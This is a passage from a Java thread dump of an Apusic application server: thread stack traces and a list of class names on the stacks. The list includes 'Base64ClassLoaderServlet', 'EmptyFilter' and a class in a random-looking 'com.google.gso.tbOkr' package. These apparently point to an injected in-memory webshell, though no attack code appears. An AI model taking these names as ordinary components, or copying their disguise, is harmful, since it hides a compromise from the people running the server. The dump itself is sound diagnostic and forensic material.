at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247)
at java.lang.Thread.run(Thread.java:750)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@472d6b13
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
"Idle MQHandler-1" #27 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@755ac836
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
at com.apusic.util.ThreadPoolImpl.getWork(ThreadPoolImpl.java:578)
at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:649)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@390a8ba5
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
"MuxReader" #17 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.apusic.net.ReaderThread$SubSelector.run(ReaderThread.java:120)
"Thread-3" #18 [WAITING] on com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive@f1f7b01
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive.run(Util.java:736)
"ApusicTimerThread-2" #13 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247)
at java.lang.Thread.run(Thread.java:750)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive
com.apusic.deploy.runtime.AutoDeployer
com.apusic.logging.manager.ServerLogManager$PushThread
com.apusic.mq.dispatch.DispatchList
com.apusic.mq.dispatch.DispatchList$1
com.apusic.mq.dispatch.WaitForALLAvailable
com.apusic.mq.queue.LocalQueue
com.apusic.mq.queue.LocalQueue$SelfActivation
com.apusic.mq.transport.ReaderThread
com.apusic.mq.util.DedicatedTaskRunner
com.apusic.mq.util.DedicatedTaskRunner$1
com.apusic.net.NonBlockingListenerThread
com.apusic.net.ReaderThread$SubSelector
com.apusic.server.Config$TimerThreadFactory$1
com.apusic.server.J2EEServer
com.apusic.server.Main
com.apusic.util.AttackFilter
com.apusic.util.ThreadPoolImpl
com.apusic.util.ThreadPoolImpl$WorkerThread
com.apusic.web.container.FilterChainImpl
com.apusic.web.container.FilterComponent
com.apusic.web.container.ServletComponent
com.apusic.web.container.ServletFilterWrapper
com.apusic.web.container.WebContainer
com.apusic.web.http.ConnectionHandler
com.apusic.web.http.HttpConnectionHandler
com.apusic.web.http.HttpReaderThread$SubSelector
com.apusic.web.http.HttpServer
com.apusic.web.http.VirtualHost
com.apusic.web.session.AbstractSessionManager$HouseKeeper
com.google.gso.tbOkr.ErrorHandler